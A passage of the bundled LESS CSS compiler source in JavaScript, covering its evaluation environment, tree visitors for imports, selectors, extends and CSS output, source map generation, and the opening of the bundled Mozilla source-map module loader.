this.contentsIgnoredChars = {}; } if (!this.files) { this.files = {}; } if (!this.currentFileInfo) { var filename = (options && options.filename) || "input"; var entryPath = filename.replace(/[^\/\\]*$/, ""); if (options) { options.filename = null; } this.currentFileInfo = { filename: filename, relativeUrls: this.relativeUrls, rootpath: (options && options.rootpath) || "", currentDirectory: entryPath, entryPath: entryPath, rootFilename: filename }; } }; var evalCopyProperties = [ 'silent', // whether to swallow errors and warnings 'verbose', // whether to log more activity 'compress', // whether to compress 'yuicompress', // whether to compress with the outside tool yui compressor 'ieCompat', // whether to enforce IE compatibility (IE8 data-uri) 'strictMath', // whether math has to be within parenthesis 'strictUnits', // whether units need to evaluate correctly 'cleancss', // whether to compress with clean-css 'sourceMap', // whether to output a source map 'importMultiple', // whether we are currently importing multiple copies 'urlArgs' // whether to add args into url tokens ]; tree.evalEnv = function(options, frames) { copyFromOriginal(options, this, evalCopyProperties); this.frames = frames || []; }; tree.evalEnv.prototype.inParenthesis = function () { if (!this.parensStack) { this.parensStack = []; } this.parensStack.push(true); }; tree.evalEnv.prototype.outOfParenthesis = function () { this.parensStack.pop(); }; tree.evalEnv.prototype.isMathOn = function () { return this.strictMath ? (this.parensStack && this.parensStack.length) : true; }; tree.evalEnv.prototype.isPathRelative = function (path) { return !/^(?:[a-z-]+:|\/)/.test(path); }; tree.evalEnv.prototype.normalizePath = function( path ) { var segments = path.split("/").reverse(), segment; path = []; while (segments.length !== 0 ) { segment = segments.pop(); switch( segment ) { case ".": break; case "..": if ((path.length === 0) || (path[path.length - 1] === "..")) { path.push( segment ); } else { path.pop(); } break; default: path.push( segment ); break; } } return path.join("/"); }; //todo - do the same for the toCSS env //tree.toCSSEnv = function (options) { //}; var copyFromOriginal = function(original, destination, propertiesToCopy) { if (!original) { return; } for(var i = 0; i < propertiesToCopy.length; i++) { if (original.hasOwnProperty(propertiesToCopy[i])) { destination[propertiesToCopy[i]] = original[propertiesToCopy[i]]; } } }; })(require('./tree')); (function (tree) { var _visitArgs = { visitDeeper: true }, _hasIndexed = false; function _noop(node) { return node; } function indexNodeTypes(parent, ticker) { // add .typeIndex to tree node types for lookup table var key, child; for (key in parent) { if (parent.hasOwnProperty(key)) { child = parent[key]; switch (typeof child) { case "function": // ignore bound functions directly on tree which do not have a prototype // or aren't nodes if (child.prototype && child.prototype.type) { child.prototype.typeIndex = ticker++; } break; case "object": ticker = indexNodeTypes(child, ticker); break; } } } return ticker; } tree.visitor = function(implementation) { this._implementation = implementation; this._visitFnCache = []; if (!_hasIndexed) { indexNodeTypes(tree, 1); _hasIndexed = true; } }; tree.visitor.prototype = { visit: function(node) { if (!node) { return node; } var nodeTypeIndex = node.typeIndex; if (!nodeTypeIndex) { return node; } var visitFnCache = this._visitFnCache, impl = this._implementation, aryIndx = nodeTypeIndex << 1, outAryIndex = aryIndx | 1, func = visitFnCache[aryIndx], funcOut = visitFnCache[outAryIndex], visitArgs = _visitArgs, fnName; visitArgs.visitDeeper = true; if (!func) { fnName = "visit" + node.type; func = impl[fnName] || _noop; funcOut = impl[fnName + "Out"] || _noop; visitFnCache[aryIndx] = func; visitFnCache[outAryIndex] = funcOut; } if (func !== _noop) { var newNode = func.call(impl, node, visitArgs); if (impl.isReplacing) { node = newNode; } } if (visitArgs.visitDeeper && node && node.accept) { node.accept(this); } if (funcOut != _noop) { funcOut.call(impl, node); } return node; }, visitArray: function(nodes, nonReplacing) { if (!nodes) { return nodes; } var cnt = nodes.length, i; // Non-replacing if (nonReplacing || !this._implementation.isReplacing) { for (i = 0; i < cnt; i++) { this.visit(nodes[i]); } return nodes; } // Replacing var out = []; for (i = 0; i < cnt; i++) { var evald = this.visit(nodes[i]); if (!evald.splice) { out.push(evald); } else if (evald.length) { this.flatten(evald, out); } } return out; }, flatten: function(arr, out) { if (!out) { out = []; } var cnt, i, item, nestedCnt, j, nestedItem; for (i = 0, cnt = arr.length; i < cnt; i++) { item = arr[i]; if (!item.splice) { out.push(item); continue; } for (j = 0, nestedCnt = item.length; j < nestedCnt; j++) { nestedItem = item[j]; if (!nestedItem.splice) { out.push(nestedItem); } else if (nestedItem.length) { this.flatten(nestedItem, out); } } } return out; } }; })(require('./tree')); (function (tree) { tree.importVisitor = function(importer, finish, evalEnv) { this._visitor = new tree.visitor(this); this._importer = importer; this._finish = finish; this.env = evalEnv || new tree.evalEnv(); this.importCount = 0; }; tree.importVisitor.prototype = { isReplacing: true, run: function (root) { var error; try { // process the contents this._visitor.visit(root); } catch(e) { error = e; } this.isFinished = true; if (this.importCount === 0) { this._finish(error); } }, visitImport: function (importNode, visitArgs) { var importVisitor = this, evaldImportNode, inlineCSS = importNode.options.inline; if (!importNode.css || inlineCSS) { try { evaldImportNode = importNode.evalForImport(this.env); } catch(e){ if (!e.filename) { e.index = importNode.index; e.filename = importNode.currentFileInfo.filename; } // attempt to eval properly and treat as css importNode.css = true; // if that fails, this error will be thrown importNode.error = e; } if (evaldImportNode && (!evaldImportNode.css || inlineCSS)) { importNode = evaldImportNode; this.importCount++; var env = new tree.evalEnv(this.env, this.env.frames.slice(0)); if (importNode.options.multiple) { env.importMultiple = true; } this._importer.push(importNode.getPath(), importNode.currentFileInfo, importNode.options, function (e, root, imported, fullPath) { if (e && !e.filename) { e.index = importNode.index; e.filename = importNode.currentFileInfo.filename; } if (imported && !env.importMultiple) { importNode.skip = imported; } var subFinish = function(e) { importVisitor.importCount--; if (importVisitor.importCount === 0 && importVisitor.isFinished) { importVisitor._finish(e); } }; if (root) { importNode.root = root; importNode.importedFilename = fullPath; if (!inlineCSS && !importNode.skip) { new(tree.importVisitor)(importVisitor._importer, subFinish, env) .run(root); return; } } subFinish(); }); } } visitArgs.visitDeeper = false; return importNode; }, visitRule: function (ruleNode, visitArgs) { visitArgs.visitDeeper = false; return ruleNode; }, visitDirective: function (directiveNode, visitArgs) { this.env.frames.unshift(directiveNode); return directiveNode; }, visitDirectiveOut: function (directiveNode) { this.env.frames.shift(); }, visitMixinDefinition: function (mixinDefinitionNode, visitArgs) { this.env.frames.unshift(mixinDefinitionNode); return mixinDefinitionNode; }, visitMixinDefinitionOut: function (mixinDefinitionNode) { this.env.frames.shift(); }, visitRuleset: function (rulesetNode, visitArgs) { this.env.frames.unshift(rulesetNode); return rulesetNode; }, visitRulesetOut: function (rulesetNode) { this.env.frames.shift(); }, visitMedia: function (mediaNode, visitArgs) { this.env.frames.unshift(mediaNode.ruleset); return mediaNode; }, visitMediaOut: function (mediaNode) { this.env.frames.shift(); } }; })(require('./tree')); (function (tree) { tree.joinSelectorVisitor = function() { this.contexts = [[]]; this._visitor = new tree.visitor(this); }; tree.joinSelectorVisitor.prototype = { run: function (root) { return this._visitor.visit(root); }, visitRule: function (ruleNode, visitArgs) { visitArgs.visitDeeper = false; }, visitMixinDefinition: function (mixinDefinitionNode, visitArgs) { visitArgs.visitDeeper = false; }, visitRuleset: function (rulesetNode, visitArgs) { var context = this.contexts[this.contexts.length - 1], paths = [], selectors; this.contexts.push(paths); if (! rulesetNode.root) { selectors = rulesetNode.selectors; if (selectors) { selectors = selectors.filter(function(selector) { return selector.getIsOutput(); }); rulesetNode.selectors = selectors.length ? selectors : (selectors = null); if (selectors) { rulesetNode.joinSelectors(paths, context, selectors); } } if (!selectors) { rulesetNode.rules = null; } rulesetNode.paths = paths; } }, visitRulesetOut: function (rulesetNode) { this.contexts.length = this.contexts.length - 1; }, visitMedia: function (mediaNode, visitArgs) { var context = this.contexts[this.contexts.length - 1]; mediaNode.rules[0].root = (context.length === 0 || context[0].multiMedia); } }; })(require('./tree')); (function (tree) { tree.toCSSVisitor = function(env) { this._visitor = new tree.visitor(this); this._env = env; }; tree.toCSSVisitor.prototype = { isReplacing: true, run: function (root) { return this._visitor.visit(root); }, visitRule: function (ruleNode, visitArgs) { if (ruleNode.variable) { return []; } return ruleNode; }, visitMixinDefinition: function (mixinNode, visitArgs) { return []; }, visitExtend: function (extendNode, visitArgs) { return []; }, visitComment: function (commentNode, visitArgs) { if (commentNode.isSilent(this._env)) { return []; } return commentNode; }, visitMedia: function(mediaNode, visitArgs) { mediaNode.accept(this._visitor); visitArgs.visitDeeper = false; if (!mediaNode.rules.length) { return []; } return mediaNode; }, visitDirective: function(directiveNode, visitArgs) { if (directiveNode.currentFileInfo.reference && !directiveNode.isReferenced) { return []; } if (directiveNode.name === "@charset") { // Only output the debug info together with subsequent @charset definitions // a comment (or @media statement) before the actual @charset directive would // be considered illegal css as it has to be on the first line if (this.charset) { if (directiveNode.debugInfo) { var comment = new tree.Comment("/* " + directiveNode.toCSS(this._env).replace(/\n/g, "")+" */\n"); comment.debugInfo = directiveNode.debugInfo; return this._visitor.visit(comment); } return []; } this.charset = true; } return directiveNode; }, checkPropertiesInRoot: function(rules) { var ruleNode; for(var i = 0; i < rules.length; i++) { ruleNode = rules[i]; if (ruleNode instanceof tree.Rule && !ruleNode.variable) { throw { message: "properties must be inside selector blocks, they cannot be in the root.", index: ruleNode.index, filename: ruleNode.currentFileInfo ? ruleNode.currentFileInfo.filename : null}; } } }, visitRuleset: function (rulesetNode, visitArgs) { var rule, rulesets = []; if (rulesetNode.firstRoot) { this.checkPropertiesInRoot(rulesetNode.rules); } if (! rulesetNode.root) { if (rulesetNode.paths) { rulesetNode.paths = rulesetNode.paths .filter(function(p) { var i; if (p[0].elements[0].combinator.value === ' ') { p[0].elements[0].combinator = new(tree.Combinator)(''); } for(i = 0; i < p.length; i++) { if (p[i].getIsReferenced() && p[i].getIsOutput()) { return true; } } return false; }); } // Compile rules and rulesets var nodeRules = rulesetNode.rules, nodeRuleCnt = nodeRules ? nodeRules.length : 0; for (var i = 0; i < nodeRuleCnt; ) { rule = nodeRules[i]; if (rule && rule.rules) { // visit because we are moving them out from being a child rulesets.push(this._visitor.visit(rule)); nodeRules.splice(i, 1); nodeRuleCnt--; continue; } i++; } // accept the visitor to remove rules and refactor itself // then we can decide now whether we want it or not if (nodeRuleCnt > 0) { rulesetNode.accept(this._visitor); } else { rulesetNode.rules = null; } visitArgs.visitDeeper = false; nodeRules = rulesetNode.rules; if (nodeRules) { this._mergeRules(nodeRules); nodeRules = rulesetNode.rules; } if (nodeRules) { this._removeDuplicateRules(nodeRules); nodeRules = rulesetNode.rules; } // now decide whether we keep the ruleset if (nodeRules && nodeRules.length > 0 && rulesetNode.paths.length > 0) { rulesets.splice(0, 0, rulesetNode); } } else { rulesetNode.accept(this._visitor); visitArgs.visitDeeper = false; if (rulesetNode.firstRoot || (rulesetNode.rules && rulesetNode.rules.length > 0)) { rulesets.splice(0, 0, rulesetNode); } } if (rulesets.length === 1) { return rulesets[0]; } return rulesets; }, _removeDuplicateRules: function(rules) { if (!rules) { return; } // remove duplicates var ruleCache = {}, ruleList, rule, i; for(i = rules.length - 1; i >= 0 ; i--) { rule = rules[i]; if (rule instanceof tree.Rule) { if (!ruleCache[rule.name]) { ruleCache[rule.name] = rule; } else { ruleList = ruleCache[rule.name]; if (ruleList instanceof tree.Rule) { ruleList = ruleCache[rule.name] = [ruleCache[rule.name].toCSS(this._env)]; } var ruleCSS = rule.toCSS(this._env); if (ruleList.indexOf(ruleCSS) !== -1) { rules.splice(i, 1); } else { ruleList.push(ruleCSS); } } } } }, _mergeRules: function (rules) { if (!rules) { return; } var groups = {}, parts, rule, key; for (var i = 0; i < rules.length; i++) { rule = rules[i]; if ((rule instanceof tree.Rule) && rule.merge) { key = [rule.name, rule.important ? "!" : ""].join(","); if (!groups[key]) { groups[key] = []; } else { rules.splice(i--, 1); } groups[key].push(rule); } } Object.keys(groups).map(function (k) { parts = groups[k]; if (parts.length > 1) { rule = parts[0]; rule.value = new (tree.Value)(parts.map(function (p) { return p.value; })); } }); } }; })(require('./tree')); (function (tree) { /*jshint loopfunc:true */ tree.extendFinderVisitor = function() { this._visitor = new tree.visitor(this); this.contexts = []; this.allExtendsStack = [[]]; }; tree.extendFinderVisitor.prototype = { run: function (root) { root = this._visitor.visit(root); root.allExtends = this.allExtendsStack[0]; return root; }, visitRule: function (ruleNode, visitArgs) { visitArgs.visitDeeper = false; }, visitMixinDefinition: function (mixinDefinitionNode, visitArgs) { visitArgs.visitDeeper = false; }, visitRuleset: function (rulesetNode, visitArgs) { if (rulesetNode.root) { return; } var i, j, extend, allSelectorsExtendList = [], extendList; // get &:extend(.a); rules which apply to all selectors in this ruleset var rules = rulesetNode.rules, ruleCnt = rules ? rules.length : 0; for(i = 0; i < ruleCnt; i++) { if (rulesetNode.rules[i] instanceof tree.Extend) { allSelectorsExtendList.push(rules[i]); rulesetNode.extendOnEveryPath = true; } } // now find every selector and apply the extends that apply to all extends // and the ones which apply to an individual extend var paths = rulesetNode.paths; for(i = 0; i < paths.length; i++) { var selectorPath = paths[i], selector = selectorPath[selectorPath.length - 1], selExtendList = selector.extendList; extendList = selExtendList ? selExtendList.slice(0).concat(allSelectorsExtendList) : allSelectorsExtendList; if (extendList) { extendList = extendList.map(function(allSelectorsExtend) { return allSelectorsExtend.clone(); }); } for(j = 0; j < extendList.length; j++) { this.foundExtends = true; extend = extendList[j]; extend.findSelfSelectors(selectorPath); extend.ruleset = rulesetNode; if (j === 0) { extend.firstExtendOnThisSelectorPath = true; } this.allExtendsStack[this.allExtendsStack.length-1].push(extend); } } this.contexts.push(rulesetNode.selectors); }, visitRulesetOut: function (rulesetNode) { if (!rulesetNode.root) { this.contexts.length = this.contexts.length - 1; } }, visitMedia: function (mediaNode, visitArgs) { mediaNode.allExtends = []; this.allExtendsStack.push(mediaNode.allExtends); }, visitMediaOut: function (mediaNode) { this.allExtendsStack.length = this.allExtendsStack.length - 1; }, visitDirective: function (directiveNode, visitArgs) { directiveNode.allExtends = []; this.allExtendsStack.push(directiveNode.allExtends); }, visitDirectiveOut: function (directiveNode) { this.allExtendsStack.length = this.allExtendsStack.length - 1; } }; tree.processExtendsVisitor = function() { this._visitor = new tree.visitor(this); }; tree.processExtendsVisitor.prototype = { run: function(root) { var extendFinder = new tree.extendFinderVisitor(); extendFinder.run(root); if (!extendFinder.foundExtends) { return root; } root.allExtends = root.allExtends.concat(this.doExtendChaining(root.allExtends, root.allExtends)); this.allExtendsStack = [root.allExtends]; return this._visitor.visit(root); }, doExtendChaining: function (extendsList, extendsListTarget, iterationCount) { // // chaining is different from normal extension.. if we extend an extend then we are not just copying, altering and pasting // the selector we would do normally, but we are also adding an extend with the same target selector // this means this new extend can then go and alter other extends // // this method deals with all the chaining work - without it, extend is flat and doesn't work on other extend selectors // this is also the most expensive.. and a match on one selector can cause an extension of a selector we had already processed if // we look at each selector at a time, as is done in visitRuleset var extendIndex, targetExtendIndex, matches, extendsToAdd = [], newSelector, extendVisitor = this, selectorPath, extend, targetExtend, newExtend; iterationCount = iterationCount || 0; //loop through comparing every extend with every target extend. // a target extend is the one on the ruleset we are looking at copy/edit/pasting in place // e.g. .a:extend(.b) {} and .b:extend(.c) {} then the first extend extends the second one // and the second is the target. // the seperation into two lists allows us to process a subset of chains with a bigger set, as is the // case when processing media queries for(extendIndex = 0; extendIndex < extendsList.length; extendIndex++){ for(targetExtendIndex = 0; targetExtendIndex < extendsListTarget.length; targetExtendIndex++){ extend = extendsList[extendIndex]; targetExtend = extendsListTarget[targetExtendIndex]; // look for circular references if( extend.parent_ids.indexOf( targetExtend.object_id ) >= 0 ){ continue; } // find a match in the target extends self selector (the bit before :extend) selectorPath = [targetExtend.selfSelectors[0]]; matches = extendVisitor.findMatch(extend, selectorPath); if (matches.length) { // we found a match, so for each self selector.. extend.selfSelectors.forEach(function(selfSelector) { // process the extend as usual newSelector = extendVisitor.extendSelector(matches, selectorPath, selfSelector); // but now we create a new extend from it newExtend = new(tree.Extend)(targetExtend.selector, targetExtend.option, 0); newExtend.selfSelectors = newSelector; // add the extend onto the list of extends for that selector newSelector[newSelector.length-1].extendList = [newExtend]; // record that we need to add it. extendsToAdd.push(newExtend); newExtend.ruleset = targetExtend.ruleset; //remember its parents for circular references newExtend.parent_ids = newExtend.parent_ids.concat(targetExtend.parent_ids, extend.parent_ids); // only process the selector once.. if we have :extend(.a,.b) then multiple // extends will look at the same selector path, so when extending // we know that any others will be duplicates in terms of what is added to the css if (targetExtend.firstExtendOnThisSelectorPath) { newExtend.firstExtendOnThisSelectorPath = true; targetExtend.ruleset.paths.push(newSelector); } }); } } } if (extendsToAdd.length) { // try to detect circular references to stop a stack overflow. // may no longer be needed. this.extendChainCount++; if (iterationCount > 100) { var selectorOne = "{unable to calculate}"; var selectorTwo = "{unable to calculate}"; try { selectorOne = extendsToAdd[0].selfSelectors[0].toCSS(); selectorTwo = extendsToAdd[0].selector.toCSS(); } catch(e) {} throw {message: "extend circular reference detected. One of the circular extends is currently:"+selectorOne+":extend(" + selectorTwo+")"}; } // now process the new extends on the existing rules so that we can handle a extending b extending c ectending d extending e... return extendsToAdd.concat(extendVisitor.doExtendChaining(extendsToAdd, extendsListTarget, iterationCount+1)); } else { return extendsToAdd; } }, visitRule: function (ruleNode, visitArgs) { visitArgs.visitDeeper = false; }, visitMixinDefinition: function (mixinDefinitionNode, visitArgs) { visitArgs.visitDeeper = false; }, visitSelector: function (selectorNode, visitArgs) { visitArgs.visitDeeper = false; }, visitRuleset: function (rulesetNode, visitArgs) { if (rulesetNode.root) { return; } var matches, pathIndex, extendIndex, allExtends = this.allExtendsStack[this.allExtendsStack.length-1], selectorsToAdd = [], extendVisitor = this, selectorPath; // look at each selector path in the ruleset, find any extend matches and then copy, find and replace for(extendIndex = 0; extendIndex < allExtends.length; extendIndex++) { for(pathIndex = 0; pathIndex < rulesetNode.paths.length; pathIndex++) { selectorPath = rulesetNode.paths[pathIndex]; // extending extends happens initially, before the main pass if (rulesetNode.extendOnEveryPath) { continue; } var extendList = selectorPath[selectorPath.length-1].extendList; if (extendList && extendList.length) { continue; } matches = this.findMatch(allExtends[extendIndex], selectorPath); if (matches.length) { allExtends[extendIndex].selfSelectors.forEach(function(selfSelector) { selectorsToAdd.push(extendVisitor.extendSelector(matches, selectorPath, selfSelector)); }); } } } rulesetNode.paths = rulesetNode.paths.concat(selectorsToAdd); }, findMatch: function (extend, haystackSelectorPath) { // // look through the haystack selector path to try and find the needle - extend.selector // returns an array of selector matches that can then be replaced // var haystackSelectorIndex, hackstackSelector, hackstackElementIndex, haystackElement, targetCombinator, i, extendVisitor = this, needleElements = extend.selector.elements, potentialMatches = [], potentialMatch, matches = []; // loop through the haystack elements for(haystackSelectorIndex = 0; haystackSelectorIndex < haystackSelectorPath.length; haystackSelectorIndex++) { hackstackSelector = haystackSelectorPath[haystackSelectorIndex]; for(hackstackElementIndex = 0; hackstackElementIndex < hackstackSelector.elements.length; hackstackElementIndex++) { haystackElement = hackstackSelector.elements[hackstackElementIndex]; // if we allow elements before our match we can add a potential match every time. otherwise only at the first element. if (extend.allowBefore || (haystackSelectorIndex === 0 && hackstackElementIndex === 0)) { potentialMatches.push({pathIndex: haystackSelectorIndex, index: hackstackElementIndex, matched: 0, initialCombinator: haystackElement.combinator}); } for(i = 0; i < potentialMatches.length; i++) { potentialMatch = potentialMatches[i]; // selectors add " " onto the first element. When we use & it joins the selectors together, but if we don't // then each selector in haystackSelectorPath has a space before it added in the toCSS phase. so we need to work out // what the resulting combinator will be targetCombinator = haystackElement.combinator.value; if (targetCombinator === '' && hackstackElementIndex === 0) { targetCombinator = ' '; } // if we don't match, null our match to indicate failure if (!extendVisitor.isElementValuesEqual(needleElements[potentialMatch.matched].value, haystackElement.value) || (potentialMatch.matched > 0 && needleElements[potentialMatch.matched].combinator.value !== targetCombinator)) { potentialMatch = null; } else { potentialMatch.matched++; } // if we are still valid and have finished, test whether we have elements after and whether these are allowed if (potentialMatch) { potentialMatch.finished = potentialMatch.matched === needleElements.length; if (potentialMatch.finished && (!extend.allowAfter && (hackstackElementIndex+1 < hackstackSelector.elements.length || haystackSelectorIndex+1 < haystackSelectorPath.length))) { potentialMatch = null; } } // if null we remove, if not, we are still valid, so either push as a valid match or continue if (potentialMatch) { if (potentialMatch.finished) { potentialMatch.length = needleElements.length; potentialMatch.endPathIndex = haystackSelectorIndex; potentialMatch.endPathElementIndex = hackstackElementIndex + 1; // index after end of match potentialMatches.length = 0; // we don't allow matches to overlap, so start matching again matches.push(potentialMatch); } } else { potentialMatches.splice(i, 1); i--; } } } } return matches; }, isElementValuesEqual: function(elementValue1, elementValue2) { if (typeof elementValue1 === "string" || typeof elementValue2 === "string") { return elementValue1 === elementValue2; } if (elementValue1 instanceof tree.Attribute) { if (elementValue1.op !== elementValue2.op || elementValue1.key !== elementValue2.key) { return false; } if (!elementValue1.value || !elementValue2.value) { if (elementValue1.value || elementValue2.value) { return false; } return true; } elementValue1 = elementValue1.value.value || elementValue1.value; elementValue2 = elementValue2.value.value || elementValue2.value; return elementValue1 === elementValue2; } elementValue1 = elementValue1.value; elementValue2 = elementValue2.value; if (elementValue1 instanceof tree.Selector) { if (!(elementValue2 instanceof tree.Selector) || elementValue1.elements.length !== elementValue2.elements.length) { return false; } for(var i = 0; i <elementValue1.elements.length; i++) { if (elementValue1.elements[i].combinator.value !== elementValue2.elements[i].combinator.value) { if (i !== 0 || (elementValue1.elements[i].combinator.value || ' ') !== (elementValue2.elements[i].combinator.value || ' ')) { return false; } } if (!this.isElementValuesEqual(elementValue1.elements[i].value, elementValue2.elements[i].value)) { return false; } } return true; } return false; }, extendSelector:function (matches, selectorPath, replacementSelector) { //for a set of matches, replace each match with the replacement selector var currentSelectorPathIndex = 0, currentSelectorPathElementIndex = 0, path = [], matchIndex, selector, firstElement, match, newElements; for (matchIndex = 0; matchIndex < matches.length; matchIndex++) { match = matches[matchIndex]; selector = selectorPath[match.pathIndex]; firstElement = new tree.Element( match.initialCombinator, replacementSelector.elements[0].value, replacementSelector.elements[0].index, replacementSelector.elements[0].currentFileInfo ); if (match.pathIndex > currentSelectorPathIndex && currentSelectorPathElementIndex > 0) { path[path.length - 1].elements = path[path.length - 1].elements.concat(selectorPath[currentSelectorPathIndex].elements.slice(currentSelectorPathElementIndex)); currentSelectorPathElementIndex = 0; currentSelectorPathIndex++; } newElements = selector.elements .slice(currentSelectorPathElementIndex, match.index) .concat([firstElement]) .concat(replacementSelector.elements.slice(1)); if (currentSelectorPathIndex === match.pathIndex && matchIndex > 0) { path[path.length - 1].elements = path[path.length - 1].elements.concat(newElements); } else { path = path.concat(selectorPath.slice(currentSelectorPathIndex, match.pathIndex)); path.push(new tree.Selector( newElements )); } currentSelectorPathIndex = match.endPathIndex; currentSelectorPathElementIndex = match.endPathElementIndex; if (currentSelectorPathElementIndex >= selectorPath[currentSelectorPathIndex].elements.length) { currentSelectorPathElementIndex = 0; currentSelectorPathIndex++; } } if (currentSelectorPathIndex < selectorPath.length && currentSelectorPathElementIndex > 0) { path[path.length - 1].elements = path[path.length - 1].elements.concat(selectorPath[currentSelectorPathIndex].elements.slice(currentSelectorPathElementIndex)); currentSelectorPathIndex++; } path = path.concat(selectorPath.slice(currentSelectorPathIndex, selectorPath.length)); return path; }, visitRulesetOut: function (rulesetNode) { }, visitMedia: function (mediaNode, visitArgs) { var newAllExtends = mediaNode.allExtends.concat(this.allExtendsStack[this.allExtendsStack.length-1]); newAllExtends = newAllExtends.concat(this.doExtendChaining(newAllExtends, mediaNode.allExtends)); this.allExtendsStack.push(newAllExtends); }, visitMediaOut: function (mediaNode) { this.allExtendsStack.length = this.allExtendsStack.length - 1; }, visitDirective: function (directiveNode, visitArgs) { var newAllExtends = directiveNode.allExtends.concat(this.allExtendsStack[this.allExtendsStack.length-1]); newAllExtends = newAllExtends.concat(this.doExtendChaining(newAllExtends, directiveNode.allExtends)); this.allExtendsStack.push(newAllExtends); }, visitDirectiveOut: function (directiveNode) { this.allExtendsStack.length = this.allExtendsStack.length - 1; } }; })(require('./tree')); (function (tree) { tree.sourceMapOutput = function (options) { this._css = []; this._rootNode = options.rootNode; this._writeSourceMap = options.writeSourceMap; this._contentsMap = options.contentsMap; this._contentsIgnoredCharsMap = options.contentsIgnoredCharsMap; this._sourceMapFilename = options.sourceMapFilename; this._outputFilename = options.outputFilename; this._sourceMapURL = options.sourceMapURL; if (options.sourceMapBasepath) { this._sourceMapBasepath = options.sourceMapBasepath.replace(/\\/g, '/'); } this._sourceMapRootpath = options.sourceMapRootpath; this._outputSourceFiles = options.outputSourceFiles; this._sourceMapGeneratorConstructor = options.sourceMapGenerator || require("source-map").SourceMapGenerator; if (this._sourceMapRootpath && this._sourceMapRootpath.charAt(this._sourceMapRootpath.length-1) !== '/') { this._sourceMapRootpath += '/'; } this._lineNumber = 0; this._column = 0; }; tree.sourceMapOutput.prototype.normalizeFilename = function(filename) { filename = filename.replace(/\\/g, '/'); if (this._sourceMapBasepath && filename.indexOf(this._sourceMapBasepath) === 0) { filename = filename.substring(this._sourceMapBasepath.length); if (filename.charAt(0) === '\\' || filename.charAt(0) === '/') { filename = filename.substring(1); } } return (this._sourceMapRootpath || "") + filename; }; tree.sourceMapOutput.prototype.add = function(chunk, fileInfo, index, mapLines) { //ignore adding empty strings if (!chunk) { return; } var lines, sourceLines, columns, sourceColumns, i; if (fileInfo) { var inputSource = this._contentsMap[fileInfo.filename]; // remove vars/banner added to the top of the file if (this._contentsIgnoredCharsMap[fileInfo.filename]) { // adjust the index index -= this._contentsIgnoredCharsMap[fileInfo.filename]; if (index < 0) { index = 0; } // adjust the source inputSource = inputSource.slice(this._contentsIgnoredCharsMap[fileInfo.filename]); } inputSource = inputSource.substring(0, index); sourceLines = inputSource.split("\n"); sourceColumns = sourceLines[sourceLines.length-1]; } lines = chunk.split("\n"); columns = lines[lines.length-1]; if (fileInfo) { if (!mapLines) { this._sourceMapGenerator.addMapping({ generated: { line: this._lineNumber + 1, column: this._column}, original: { line: sourceLines.length, column: sourceColumns.length}, source: this.normalizeFilename(fileInfo.filename)}); } else { for(i = 0; i < lines.length; i++) { this._sourceMapGenerator.addMapping({ generated: { line: this._lineNumber + i + 1, column: i === 0 ? this._column : 0}, original: { line: sourceLines.length + i, column: i === 0 ? sourceColumns.length : 0}, source: this.normalizeFilename(fileInfo.filename)}); } } } if (lines.length === 1) { this._column += columns.length; } else { this._lineNumber += lines.length - 1; this._column = columns.length; } this._css.push(chunk); }; tree.sourceMapOutput.prototype.isEmpty = function() { return this._css.length === 0; }; tree.sourceMapOutput.prototype.toCSS = function(env) { this._sourceMapGenerator = new this._sourceMapGeneratorConstructor({ file: this._outputFilename, sourceRoot: null }); if (this._outputSourceFiles) { for(var filename in this._contentsMap) { if (this._contentsMap.hasOwnProperty(filename)) { var source = this._contentsMap[filename]; if (this._contentsIgnoredCharsMap[filename]) { source = source.slice(this._contentsIgnoredCharsMap[filename]); } this._sourceMapGenerator.setSourceContent(this.normalizeFilename(filename), source); } } } this._rootNode.genCSS(env, this); if (this._css.length > 0) { var sourceMapURL, sourceMapContent = JSON.stringify(this._sourceMapGenerator.toJSON()); if (this._sourceMapURL) { sourceMapURL = this._sourceMapURL; } else if (this._sourceMapFilename) { sourceMapURL = this.normalizeFilename(this._sourceMapFilename); } if (this._writeSourceMap) { this._writeSourceMap(sourceMapContent); } else { sourceMapURL = "data:application/json," + encodeURIComponent(sourceMapContent); } if (sourceMapURL) { this._css.push("/*# sourceMappingURL=" + sourceMapURL + " */"); } } return this._css.join(''); }; })(require('./tree')); // wraps the source-map code in a less module (function() { less.modules["source-map"] = function() { /* * Copyright 2011 Mozilla Foundation and contributors * Licensed under the New BSD license. See LICENSE or: * http://opensource.org/licenses/BSD-3-Clause */ /** * Define a module along with a payload. * @param {string} moduleName Name for the payload * @param {ignored} deps Ignored. For compatibility with CommonJS AMD Spec * @param {function} payload Function with (require, exports, module) params */ function define(moduleName, deps, payload) { if (typeof moduleName != "string") { throw new TypeError('Expected string, got: ' + moduleName); } if (arguments.length == 2) { payload = deps; } if (moduleName in define.modules) { throw new Error("Module already defined: " + moduleName); } define.modules[moduleName] = payload; }; /** * The global store of un-instantiated modules */ define.modules = {}; /** * We invoke require() in the context of a Domain so we can have multiple * sets of modules running separate from each other. * This contrasts with JSMs which are singletons, Domains allows us to * optionally load a CommonJS module twice with separate data each time. * Perhaps you want 2 command lines with a different set of commands in each, * for example. */ function Domain() { this.modules = {}; this._currentModule = null; } (function () { /** * Lookup module names and resolve them by calling the definition function if * needed. * There are 2 ways to call this, either with an array of dependencies and a * callback to call when the dependencies are found (which can happen * asynchronously in an in-page context) or with a single string an no callback * where the dependency is resolved synchronously and returned. * The API is designed to be compatible with the CommonJS AMD spec and * RequireJS. * @param {string[]|string} deps A name, or names for the payload * @param {function|undefined} callback Function to call when the dependencies * are resolved * @return {undefined|object} The module required or undefined for * array/callback method */ Domain.prototype.require = function(deps, callback) { if (Array.isArray(deps)) { var params = deps.map(function(dep) { return this.lookup(dep); }, this); if (callback) { callback.apply(null, params); } return undefined; } else { return this.lookup(deps); } }; function normalize(path) { var bits = path.split('/'); var i = 1; while (i < bits.length) { if (bits[i] === '..') { bits.splice(i-1, 1); } else if (bits[i] === '.') { bits.splice(i, 1); } else { i++; } } return bits.join('/'); } function join(a, b) { a = a.trim(); b = b.trim(); if (/^\//.test(b)) { return b; } else { return a.replace(/\/*$/, '/') + b; } } function dirname(path) { var bits = path.split('/'); bits.pop(); return bits.join('/'); } /** * Lookup module names and resolve them by calling the definition function if * needed. * @param {string} moduleName A name for the payload to lookup * @return {object} The module specified by aModuleName or null if not found. */ Domain.prototype.lookup = function(moduleName) { if (/^\./.test(moduleName)) { moduleName = normalize(join(dirname(this._currentModule), moduleName)); } if (moduleName in this.modules) { var module = this.modules[moduleName]; return module; } if (!(moduleName in define.modules)) { throw new Error("Module not defined: " + moduleName); } var module = define.modules[moduleName]; if (typeof module == "function") { var exports = {}; var previousModule = this._currentModule; 